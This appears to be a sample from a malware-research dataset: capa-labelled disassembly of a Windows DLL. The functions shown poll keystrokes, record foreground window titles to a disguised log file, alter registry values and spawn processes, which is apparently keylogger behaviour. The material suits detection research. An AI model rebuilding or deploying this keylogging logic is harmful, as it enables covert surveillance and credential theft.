joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000e660
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180015b40
mov edx, 0x2e
mov rcx, rdi
call fcn.1800132a8
mov rbx, rax
test rax, rax
je 0x18000e8ad
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.180015b40
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.1800132a8
mov rcx, rbx
test rax, rax
je 0x18000e715
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000e732
cmp word [rbx + rcx*2], 0x20
je 0x18000e71b
dec rcx
dec eax
test rcx, rcx
jg 0x18000e702
jmp 0x18000e732
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.180012534
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000e8d0
test eax, eax
je 0x18000e7c0
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.180015b40
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180015b40
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.180015b40
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000e8d0
test eax, eax
jne 0x18000e7c7
xor al, al
jmp 0x18000e8a5
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x18002a270]
lea rcx, [rbp - 0x20]
call fcn.1800129d0
test rax, rax
jne 0x18000e828
lea rdx, [0x18002a278]
lea rcx, [rbp - 0x20]
call fcn.1800129d0
test rax, rax
jne 0x18000e828
lea rdx, [0x180029b60]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000e834
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.180015b40
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000e85e
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000e86a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.1800118a0
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e8d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.180015b40
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.180015b40
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000e958
or ebx, 0xffffffff
jmp 0x18000eb1b
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000eb1b
cmp eax, 2
jbe 0x18000ead0
cmp eax, 3
je 0x18000ea83
cmp eax, 4
je 0x18000ea2d
cmp eax, 7
jne 0x18000eb1b
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000eb1b
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000ea20
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.18001335c
mov r9d, 0x208
lea r8, [0x180029b60]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.18001335c
xor edx, edx
mov rcx, rbx
call fcn.180012efc
lea rbx, [rax + 2]
jmp 0x18000e9d0
lea rdx, [rsp + 0x260]
jmp 0x18000eb0d
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000eb1b
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180029908]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000eb16
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000eb1b
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000eb16
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000eb1b
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000eb50
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x43c], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.Network
lea r12, str.AppEvents
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x43c], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000ec0f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret

Function at 0x18000ec30
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x18000fb60
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x18000fbc0
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x18000fbb8
mov eax, dword [r8 + 0x20]
jmp 0x18000fbc0
test dl, dl
jns 0x18000fbc0
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x180037510]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x18000fd37
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x18000fc33
mov r9d, dword [rbx]
test r9b, 0x40
je 0x18000fc2a
mov eax, dword [r8 + 0x20]
jmp 0x18000fc33
test r9b, r9b
jns 0x18000fc33
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x18000fcf1
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x18000fcf1
test r10, r10
je 0x18000fce4
bt edx, 0x19
jae 0x18000fc97
cmp r11, rcx
jne 0x18000fce4
cmp dword [r8 + 0x38], esi
je 0x18000fc77
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x18000fce4
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x18000fd12
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x180037510]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x18000fccf
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000fd5c
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x18000fd12
mov eax, dword [rbx]
bt eax, 0x19
jae 0x18000fd03
bt edx, 0x19
jae 0x18000fd03
or edx, eax
jmp 0x18000fd09
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x18000fc00
mov ebx, 1
lea rdi, [0x180037510]
test r10, r10
je 0x18000fda6
bt edx, 0x19
jae 0x18000fd60
cmp r11, rcx
jne 0x18000fda6
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x18000fda6
xor eax, eax
jmp 0x18000fda8
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x18000fd91
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000fd5c
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x180010d30
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180010d74
cmp qword [0x180039738], 0
jne 0x180010d74
xor eax, eax
lea r8, [0x1800107a0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180039738], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180010d80
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800107a0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180010dd0
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180039220]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180039d00], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180010e9b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180039d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x180039748]
lea r8, [0x180028fd0]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180010ed4
xor al, al
jmp 0x180010fb1
mov rcx, qword [0x180039748]
lea r8, [0x180039750]
lea rdx, [0x180028ff0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180010ecd
mov rcx, qword [0x180039750]
lea rdx, [0x180028fb0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180010ecd
mov rcx, qword [0x180039750]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180010ecd
mov rcx, qword [0x180039750]
mov dword [rsp + 0x40], socket
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180010ecd
mov rcx, qword [0x180039750]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x180010ecd
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, socket
mov dword [0x18003a548], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180010fa5
mov dword [0x180039d0c], r12d
cmp ax, 1
jne 0x180010faf
mov dword [0x180039d0c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800118a0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180010fe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180039d00]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180039220]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180011091
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180039d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1800110a0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180039d20]
xor edx, edx
mov r8d, 0x800
call fcn.180015b40
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180039d20]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180039d18], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180015b40
mov r11, qword [0x180039d10]
cmp qword [0x180039d18], r11
je 0x1800111bc
lea rcx, [0x180039d20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1800111ae
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180039d20]
lea rdx, [0x18002a3b0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180010fe0
lea rcx, [0x180039d20]
xor edx, edx
mov r8d, 0x800
call fcn.180015b40
mov ebx, 1
mov rcx, qword [0x180039d18]
mov qword [0x180039d10], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x870
pop rbx
ret
Function at 0x180013fa7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180030250]
jne 0x1800118ba
rol rcx, 0x10
test cx, 0xffff
jne 0x1800118b6
repz ret
ror rcx, 0x10
jmp 0x180013f00
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180037d10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180037e08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180013f85
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180037d10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180013fa7
mov rax, qword [rsp + 0x88]
mov qword [0x180037e08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180037da8], rax
mov rax, qword [0x180037e08]
mov qword [0x180037c80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180037d90], rax
mov dword [0x180037c70], 0xc0000409
mov dword [0x180037c74], 1
mov rax, qword [0x180030250]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180030258]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180037d08], eax
mov ecx, 1
call fcn.18001af14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180026a50]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180037d08], 0
jne 0x18001402e
mov ecx, 1
call fcn.18001af14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x18001b354
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180016760
xor ebx, ebx
cmp qword [0x180038d70], rbx
mov rdi, rax
jne 0x18001b467
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18001b53e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001b53e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180038d70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180038d78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180038d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180038d90], rax
test rax, rax
je 0x18001b45e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180038d88], rax
jmp 0x18001b46e
mov rax, qword [0x180038d88]
jmp 0x18001b475
mov rax, qword [0x180038d88]
mov r11, qword [0x180038d90]
cmp rax, rdi
je 0x18001b4dc
cmp r11, rdi
je 0x18001b4dc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180038d90]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18001b4dc
test rax, rax
je 0x18001b4dc
call rsi
test rax, rax
je 0x18001b4d6
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18001b4d6
test byte [rsp + 0x40], 1
jne 0x18001b4dc
bts ebp, 0x15
jmp 0x18001b51c
mov rcx, qword [0x180038d78]
cmp rcx, rdi
je 0x18001b51c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b51c
call rax
mov rbx, rax
test rax, rax
je 0x18001b51c
mov rcx, qword [0x180038d80]
cmp rcx, rdi
je 0x18001b51c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b51c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180038d70]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b53e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18001b540
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret